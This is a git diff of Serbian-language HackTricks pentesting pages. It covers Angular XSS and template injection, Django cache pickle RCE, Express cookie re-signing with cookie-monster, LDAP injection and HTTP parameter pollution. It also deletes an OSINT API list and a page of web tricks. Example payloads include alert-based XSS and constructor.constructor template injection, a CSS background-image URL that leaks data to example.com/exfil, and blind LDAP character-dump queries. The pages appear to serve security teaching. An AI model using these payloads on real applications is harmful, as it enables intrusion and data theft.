| Stil | svojstvo stila | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angular security model
|
||||
|
||||
@ -110,7 +112,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Rezultat: `<div><h1>test</h1></div>`
|
||||
|
||||
Postoji 6 tipova `SecurityContext` :
|
||||
Postoji 6 tipova `SecurityContext`:
|
||||
|
||||
* `None`;
|
||||
* `HTML` se koristi kada se tumači vrednost kao HTML;
|
||||
@ -125,7 +127,7 @@ Postoji 6 tipova `SecurityContext` :
|
||||
|
||||
Angular uvodi listu metoda za zaobilaženje svog defaultnog procesa sanitizacije i za označavanje da se vrednost može sigurno koristiti u određenom kontekstu, kao u sledećih pet primera:
|
||||
|
||||
1. `bypassSecurityTrustUrl` se koristi za označavanje da je data vrednost sigurna stil URL:
|
||||
1. `bypassSecurityTrustUrl` se koristi za označavanje da je data vrednost siguran stil URL:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -137,7 +139,7 @@ this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
||||
//result
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
|
||||
```
|
||||
2. `bypassSecurityTrustResourceUrl` se koristi za označavanje da je data vrednost sigurna resurs URL:
|
||||
2. `bypassSecurityTrustResourceUrl` se koristi za označavanje da je data vrednost siguran resurs URL:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -187,7 +189,7 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular pruža metodu `sanitize` za sanitizaciju podataka pre nego što ih prikaže u prikazima. Ova metoda koristi pruženi sigurnosni kontekst i čisti unos u skladu s tim. Međutim, od suštinske je važnosti koristiti ispravan sigurnosni kontekst za specifične podatke i kontekst. Na primer, primena sanitizatora sa `SecurityContext.URL` na HTML sadržaj ne pruža zaštitu od opasnih HTML vrednosti. U takvim scenarijima, zloupotreba sigurnosnog konteksta može dovesti do XSS ranjivosti.
|
||||
Angular pruža metodu `sanitize` za sanitizaciju podataka pre nego što ih prikaže u prikazima. Ova metoda koristi pruženi sigurnosni kontekst i čisti unos u skladu s tim. Međutim, ključno je koristiti pravi sigurnosni kontekst za specifične podatke i kontekst. Na primer, primena sanitizatora sa `SecurityContext.URL` na HTML sadržaj ne pruža zaštitu od opasnih HTML vrednosti. U takvim scenarijima, zloupotreba sigurnosnog konteksta može dovesti do XSS ranjivosti.
|
||||
|
||||
### HTML injection
|
||||
|
||||
@ -218,7 +220,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Angular koristi šablone za dinamičko konstruisanje stranica. Ovaj pristup podrazumeva obavijanje izraza šablona koje Angular treba da proceni unutar dvostrukih vitičastih zagrada (`{{}}`). Na ovaj način, okvir nudi dodatnu funkcionalnost. Na primer, šablon kao što je `{{1+1}}` biće prikazan kao 2.
|
||||
|
||||
Obično, Angular escapuje korisnički unos koji se može pomešati sa izrazima šablona (npr. karakteri kao što su \`< > ' " \`\`). To znači da su potrebni dodatni koraci da se zaobiđe ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbeglo korišćenje zabranjenih karaktera. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegove osobine i promenljive. Stoga, napad ubrizgavanja šablona može izgledati ovako:
|
||||
Obično, Angular escapuje korisnički unos koji se može pomešati sa izrazima šablona (npr., karakteri kao što su \`< > ' " \`\`). To znači da su potrebni dodatni koraci da se zaobiđe ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbeglo korišćenje zabranjenih karaktera. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegove osobine i promenljive. Stoga, napad ubrizgavanja šablona može izgledati ovako:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -231,7 +233,7 @@ Kao što je prikazano iznad: `constructor` se odnosi na opseg svojstva Object `c
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
Za razliku od CSR, koji se dešava u DOM-u pregledača, Angular Universal je odgovoran za SSR šablonskih fajlova. Ovi fajlovi se zatim isporučuju korisniku. I pored ove razlike, Angular Universal primenjuje iste mehanizme sanitizacije koji se koriste u CSR kako bi poboljšao sigurnost SSR-a. Ranljivost injekcije šablona u SSR može se uočiti na isti način kao u CSR, jer je korišćeni jezik šablona isti.
|
||||
Za razliku od CSR, koji se dešava u DOM-u pregledača, Angular Universal je odgovoran za SSR datoteka šablona. Ove datoteke se zatim isporučuju korisniku. I pored ove razlike, Angular Universal primenjuje iste mehanizme sanitizacije koji se koriste u CSR kako bi poboljšao sigurnost SSR-a. Ranljivost injekcije šablona u SSR može se uočiti na isti način kao u CSR, jer je korišćeni jezik šablona isti.
|
||||
|
||||
Naravno, postoji i mogućnost uvođenja novih ranjivosti injekcije šablona kada se koriste treće strane šablonski motori kao što su Pug i Handlebars.
|
||||
|
||||
@ -292,7 +294,7 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angular klase
|
||||
|
||||
Postoje neke klase koje se mogu koristiti za rad sa DOM elementima u Angular-u: `ElementRef`, `Renderer2`, `Location` i `Document`. Detaljan opis poslednje dve klase dat je u sekciji **Open redirects**. Glavna razlika između prve dve je u tome što `Renderer2` API pruža sloj apstrakcije između DOM elementa i koda komponente, dok `ElementRef` samo drži referencu na element. Stoga, prema Angular dokumentaciji, `ElementRef` API treba koristiti samo kao poslednje sredstvo kada je potreban direktan pristup DOM-u.
|
||||
Postoje neke klase koje se mogu koristiti za rad sa DOM elementima u Angular-u: `ElementRef`, `Renderer2`, `Location` i `Document`. Detaljan opis poslednje dve klase dat je u sekciji **Open redirects**. Glavna razlika između prve dve je u tome što `Renderer2` API pruža sloj apstrakcije između DOM elementa i koda komponente, dok `ElementRef` samo drži referencu na element. Stoga, prema Angular dokumentaciji, `ElementRef` API treba koristiti samo kao poslednju opciju kada je potreban direktan pristup DOM-u.
|
||||
|
||||
* `ElementRef` sadrži svojstvo `nativeElement`, koje se može koristiti za manipulaciju DOM elementima. Međutim, nepravilna upotreba `nativeElement` može rezultirati ranjivošću na XSS injekciju, kao što je prikazano u nastavku:
|
||||
|
||||
@ -315,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* I pored toga što `Renderer2` pruža API koji se može sigurno koristiti čak i kada direktan pristup nativnim elementima nije podržan, i dalje ima neke sigurnosne nedostatke. Sa `Renderer2`, moguće je postaviti atribute na HTML element koristeći metodu `setAttribute()`, koja nema mehanizme za sprečavanje XSS-a.
|
||||
* I pored toga što `Renderer2` pruža API koji se može sigurno koristiti čak i kada direktan pristup nativnim elementima nije podržan, i dalje ima neke sigurnosne mane. Sa `Renderer2`, moguće je postaviti atribute na HTML element koristeći metodu `setAttribute()`, koja nema mehanizme za sprečavanje XSS-a.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -375,7 +377,7 @@ Tokom našeg istraživanja, takođe smo ispitivali ponašanje drugih `Renderer2`
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery je brza, mala i bogata JavaScript biblioteka koja se može koristiti u Angular projektu za pomoć u manipulaciji HTML DOM objektima. Međutim, kao što je poznato, metode ove biblioteke mogu biti iskorišćene za postizanje XSS ranjivosti. Kako bismo razgovarali o tome kako se neke ranjive jQuery metode mogu iskoristiti u Angular projektima, dodali smo ovu podsekciju.
|
||||
jQuery je brza, mala i bogata JavaScript biblioteka koja se može koristiti u Angular projektu za pomoć u manipulaciji HTML DOM objektima. Međutim, kao što je poznato, metode ove biblioteke mogu biti iskorišćene za postizanje XSS ranjivosti. Da bismo razgovarali o tome kako se neke ranjive jQuery metode mogu iskoristiti u Angular projektima, dodali smo ovu podsekciju.
|
||||
|
||||
* Metoda `html()` dobija HTML sadržaj prvog elementa u skupu odgovarajućih elemenata ili postavlja HTML sadržaj svakog odgovarajućeg elementa. Međutim, po dizajnu, svaki jQuery konstruktor ili metoda koja prihvata HTML string može potencijalno izvršiti kod. To se može dogoditi injekcijom `<script>` tagova ili korišćenjem HTML atributa koji izvršavaju kod, kao što je prikazano u primeru.
|
||||
|
||||
@ -410,7 +412,7 @@ $("p").html("<script>alert(1)</script>");
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
Kao što je ranije pomenuto, većina jQuery API-ja koji prihvataju HTML stringove će pokrenuti skripte koje su uključene u HTML. Metoda `jQuery.parseHTML()` ne pokreće skripte u analiziranom HTML-u osim ako `keepScripts` nije eksplicitno `true`. Međutim, i dalje je moguće u većini okruženja izvršiti skripte indirektno; na primer, putem atributa `<img onerror>`.
|
||||
Kao što je ranije pomenuto, većina jQuery API-ja koji prihvataju HTML stringove će pokrenuti skripte koje su uključene u HTML. Metoda `jQuery.parseHTML()` ne pokreće skripte u analiziranom HTML-u osim ako `keepScripts` nije eksplicitno `true`. Međutim, i dalje je moguće u većini okruženja izvršiti skripte indirektno; na primer, putem `<img onerror>` atributa.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* Tokom istraživačke faze, takođe smo pregledali Angular `Location` klasu za ranjivosti otvorenog preusmeravanja, ali nisu pronađeni validni vektori. `Location` je Angular servis koji aplikacije mogu koristiti za interakciju sa trenutnim URL-om pretraživača. Ova usluga ima nekoliko metoda za manipulaciju datim URL-om - `go()`, `replaceState()`, i `prepareExternalUrl()`. Međutim, ne možemo ih koristiti za preusmeravanje na eksternu domenu. Na primer:
|
||||
* Tokom istraživačke faze, takođe smo pregledali Angular `Location` klasu za ranjivosti otvorenog preusmeravanja, ali nisu pronađeni validni vektori. `Location` je Angular servis koji aplikacije mogu koristiti za interakciju sa trenutnim URL-om pretraživača. Ovaj servis ima nekoliko metoda za manipulaciju datim URL-om - `go()`, `replaceState()`, i `prepareExternalUrl()`. Međutim, ne možemo ih koristiti za preusmeravanje na eksternu domenu. Na primer:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
|
||||
* [Angular Document](https://angular.io/api/common/DOCUMENT)
|
||||
* [Angular Location](https://angular.io/api/common/Location)
|
||||
* [Angular Router](https://angular.io/api/router/Router)
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,12 @@
|
||||
# Django
|
||||
|
||||
## Manipulacija kešom za RCE
|
||||
Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [neprovereni ulaz ne de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može da dobije pristup za pisanje u keš, može da eskalira ovu ranjivost na RCE na osnovnom serveru**.
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoriji](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovima](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [bazi podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji napadački vektori (Redis injekcija i SQL injekcija), ali napadač takođe može da iskoristi keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će se folder sa keš fajlovima, ime SQL tabele i detalji Redis servera razlikovati u zavisnosti od implementacije.
|
||||
## Manipulacija kešom za RCE
|
||||
Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [nepouzdani ulaz de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru**.
|
||||
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji vektori napada (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
|
||||
Ovaj HackerOne izveštaj pruža odličan, reproduktivni primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1 +0,0 @@
|
||||
# GWT - Google Web Toolkit
|
@ -1,22 +1,24 @@
|
||||
# NodeJS Express
|
||||
|
||||
## Potpis kolačića
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Alat [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) je alatka za automatizaciju testiranja i ponovnog potpisivanja Express.js kolačić tajni.
|
||||
## Cookie Signature
|
||||
|
||||
Alat [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) je alat za automatizaciju testiranja i ponovnog potpisivanja Express.js tajni kolačića.
|
||||
|
||||
### Jedan kolačić sa specifičnim imenom
|
||||
```bash
|
||||
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
|
||||
```
|
||||
### Prilagođena rečnik
|
||||
### Prilagođena lista reči
|
||||
```bash
|
||||
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
|
||||
```
|
||||
### Testirajte više kolačića koristeći batch režim
|
||||
### Testiranje više kolačića koristeći batch mode
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json
|
||||
```
|
||||
### Testirajte više kolačića koristeći batch režim sa prilagođenom rečnikom
|
||||
### Testirajte više kolačića koristeći batch mode sa prilagođenom rečnikom
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json -w custom.lst
|
||||
```
|
||||
@ -26,4 +28,4 @@ Ako znate tajnu, možete potpisati kolačić.
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,125 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
Možete pitati da li je IP povezan sa sumnjivim/malicioznim aktivnostima. Potpuno besplatno.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Proverite da li je IP adresa povezana sa botom koji registruje naloge. Takođe može proveriti korisnička imena i e-mailove. Prvobitno besplatno.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
Pronađite i verifikujte e-mailove.
|
||||
Neki besplatni API zahtevi, za više morate platiti.
|
||||
Komercijalno?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Pronađite maliciozne aktivnosti povezane sa IP-ovima i domenima. Besplatno.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Pronađite povezane lične podatke za e-mail \(profile na drugim platformama\), domen \(osnovne informacije o kompaniji, e-mailovi i ljudi koji rade\) i kompanije \(dobijte informacije o kompaniji iz e-maila\).
|
||||
Morate platiti da biste pristupili svim mogućnostima.
|
||||
Komercijalno?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Tehnologije koje koriste vebsajti. Skupo...
|
||||
Komercijalno?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Proverite da li je host \(domen ili IP\) povezan sa sumnjivim/malicioznim aktivnostima. Ima neki besplatni API pristup.
|
||||
Komercijalno?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Proverite da li je host \(domen ili IP\) povezan sa sumnjivim/malicioznim aktivnostima. Ima neki besplatni API pristup.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Ukazuje da li je host povezan sa spam aktivnostima. Ima neki besplatni API pristup.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
|
||||
Na osnovu mišljenja i drugih metrika saznajte da li je domen povezan sa sumnjivim/malicioznim informacijama.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Dobija osnovne informacije sa IP adrese. Možete testirati do 100K/mesečno.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Ova platforma daje informacije o domenima i IP adresama kao što su domeni unutar IP-a ili unutar domen servera, domeni u vlasništvu e-maila \(pronađite povezane domene\), istorija IP-a domena \(pronađite host iza CloudFlare-a\), svi domeni koji koriste nameserver....
|
||||
Imate neki besplatni pristup.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Omogućava pretragu po e-mailu, domenu ili nazivu kompanije i preuzimanje "ličnih" informacija povezanih. Takođe može verifikovati e-mailove. Ima neki besplatni pristup.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Puno informacija o domenima i IP-ovima čak i u besplatnoj/zajedničkoj verziji.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Pretražujte domene, IP-ove i e-mailove i dobijajte informacije iz dump-ova. Ima neki besplatni pristup.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Pretražujte po IP-u i prikupljajte informacije povezane sa sumnjivim aktivnostima. Ima neki besplatni pristup.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Pretražujte po IP-u ili opsegu IP-a i dobijajte informacije o IP-ovima koji skeniraju Internet. 15 dana besplatnog pristupa.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
|
||||
Dobijte informacije o skeniranju IP adrese. Ima neki besplatni API pristup.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
|
||||
Veoma sličan shodanu.
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Pronađite otvorene S3 kante pretražujući po ključnim rečima.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Pronađite provaljene akreditive e-mailova i čak domena.
|
||||
Komercijalno?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Pretražujte pastebine gde se e-mail pojavio.
|
||||
Komercijalno?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Dobijte reputaciju e-maila.
|
||||
Komercijalno?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Dobijte lozinke iz provaljenih e-mailova.
|
||||
Komercijalno?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Dobijte zanimljive informacije iz IP-ova.
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Pretražujte po domenu i e-mailu i saznajte da li je bio provaljen i lozinke.
|
||||
Komercijalno?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(u komercijalnom alatu?\)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(u komercijalnom alatu?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(u komercijalnom alatu?\)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
# Other Web Tricks
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Host header
|
||||
|
||||
Više puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**.
|
||||
|
||||
### Session booleans
|
||||
|
||||
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada, druga tačka će znati da ste uspešno prošli tu proveru.\
|
||||
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
|
||||
Pokušajte da se registrujete kao već postojeći korisnik. Takođe pokušajte koristiti ekvivalentne karaktere (tačke, puno razmaka i Unicode).
|
||||
|
||||
### Takeover emails
|
||||
|
||||
Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE method
|
||||
|
||||
Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane obrnjenih proksija.
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Same-Site Scripting
|
||||
|
||||
Dešava se kada naiđemo na domen ili poddomen koji se rešava na localhost ili 127.0.0.1 zbog određenih DNS pogrešnih konfiguracija. Omogućava napadaču da prevari RFC2109 (HTTP State Management Mechanism) ograničenja iste domene, i stoga preuzme podatke o upravljanju stanjem. Takođe može omogućiti cross-site scripting. Možete pročitati više o tome [ovde](https://seclists.org/bugtraq/2008/Jan/270)
|
@ -1,9 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
**Istražite više o napadima na DNS**
|
||||
|
||||
**DNSSEC i DNSSEC3**
|
||||
|
||||
**DNS u IPv6**
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,7 +1,5 @@
|
||||
# LDAP Injection
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## LDAP Injection
|
||||
@ -14,7 +12,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** je napad koji cilja web aplikacije koje konstruiraju LDAP izjave iz korisničkog unosa. Do njega dolazi kada aplikacija **ne uspeva da pravilno sanitizuje** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.
|
||||
**LDAP Injection** je napad koji cilja web aplikacije koje konstruiraju LDAP izjave iz korisničkog unosa. Do njega dolazi kada aplikacija **ne uspe da pravilno sanitizuje** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.
|
||||
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
@ -135,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump podaci
|
||||
|
||||
Možete iterirati preko ascii slova, cifara i simbola:
|
||||
Možete prolaziti kroz ascii slova, cifre i simbole:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -1,13 +1,10 @@
|
||||
# Parameter Pollution | JSON Injection
|
||||
|
||||
## Parameter Pollution
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## HTTP Parameter Pollution (HPP) Overview
|
||||
|
||||
HTTP Parameter Pollution (HPP) je tehnika gde napadači manipulišu HTTP parametrima kako bi promenili ponašanje web aplikacije na nepredviđene načine. Ova manipulacija se vrši dodavanjem, modifikovanjem ili dupliciranjem HTTP parametara. Efekat ovih manipulacija nije direktno vidljiv korisniku, ali može značajno promeniti funkcionalnost aplikacije na serverskoj strani, sa uočljivim uticajima na klijentskoj strani.
|
||||
HTTP Parameter Pollution (HPP) je tehnika u kojoj napadači manipulišu HTTP parametrima kako bi promenili ponašanje web aplikacije na nepredviđene načine. Ova manipulacija se vrši dodavanjem, modifikovanjem ili dupliciranjem HTTP parametara. Efekat ovih manipulacija nije direktno vidljiv korisniku, ali može značajno promeniti funkcionalnost aplikacije na serverskoj strani, sa uočljivim uticajima na klijentskoj strani.
|
||||
|
||||
### Example of HTTP Parameter Pollution (HPP)
|
||||
|
||||
@ -30,11 +27,11 @@ Transakcija može biti pogrešno naplaćena na `accountC` umesto na `accountA`,
|
||||
|
||||
**OTP Manipulation Case:**
|
||||
|
||||
- **Context:** Mehanizam prijave koji zahteva jednokratnu lozinku (OTP) je iskorišćen.
|
||||
- **Context:** Mehanizam prijavljivanja koji zahteva jednokratnu lozinku (OTP) je iskorišćen.
|
||||
- **Method:** Presretanjem OTP zahteva koristeći alate poput Burp Suite, napadači su duplicirali `email` parametar u HTTP zahtevu.
|
||||
- **Outcome:** OTP, namenjen za inicijalnu email adresu, je umesto toga poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere.
|
||||
- **Outcome:** OTP, namenjen za inicijalnu email adresu, umesto toga je poslat na drugu email adresu navedenu u manipulisanom zahtevu. Ova greška je omogućila neovlašćen pristup zaobilaženjem predviđene sigurnosne mere.
|
||||
|
||||
Ovaj scenario ističe kritičan propust u backend-u aplikacije, koji je obradio prvi `email` parametar za generisanje OTP-a, ali je koristio poslednji za isporuku.
|
||||
Ovaj scenario ističe kritičnu grešku u backend-u aplikacije, koja je obradila prvi `email` parametar za generisanje OTP-a, ali je koristila poslednji za isporuku.
|
||||
|
||||
**API Key Manipulation Case:**
|
||||
|
||||
@ -50,7 +47,7 @@ Ovaj primer dodatno naglašava potrebu za sigurnim rukovanjem parametrima, poseb
|
||||
Način na koji web tehnologije obrađuju duple HTTP parametre varira, utičući na njihovu podložnost HPP napadima:
|
||||
|
||||
- **Flask:** Usvaja prvu vrednost parametra koja se susreće, kao što je `a=1` u upitu `a=1&a=2`, prioritizujući inicijalnu instancu nad kasnijim duplikatima.
|
||||
- **PHP (na Apache HTTP Server-u):** Nasuprot tome, prioritizuje poslednju vrednost parametra, birajući `a=2` u datom primeru. Ovo ponašanje može nenamerno olakšati HPP eksploate tako što poštuje manipulisan parametar napadača umesto originalnog.
|
||||
- **PHP (na Apache HTTP Server-u):** Nasuprot tome, prioritizuje poslednju vrednost parametra, birajući `a=2` u datom primeru. Ovo ponašanje može nenamerno olakšati HPP eksploate tako što poštuje napadačev manipulisan parametar umesto originalnog.
|
||||
|
||||
## Parameter pollution by technology
|
||||
|
||||
@ -78,8 +75,8 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut
|
||||
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping prepoznaju name[].
|
||||
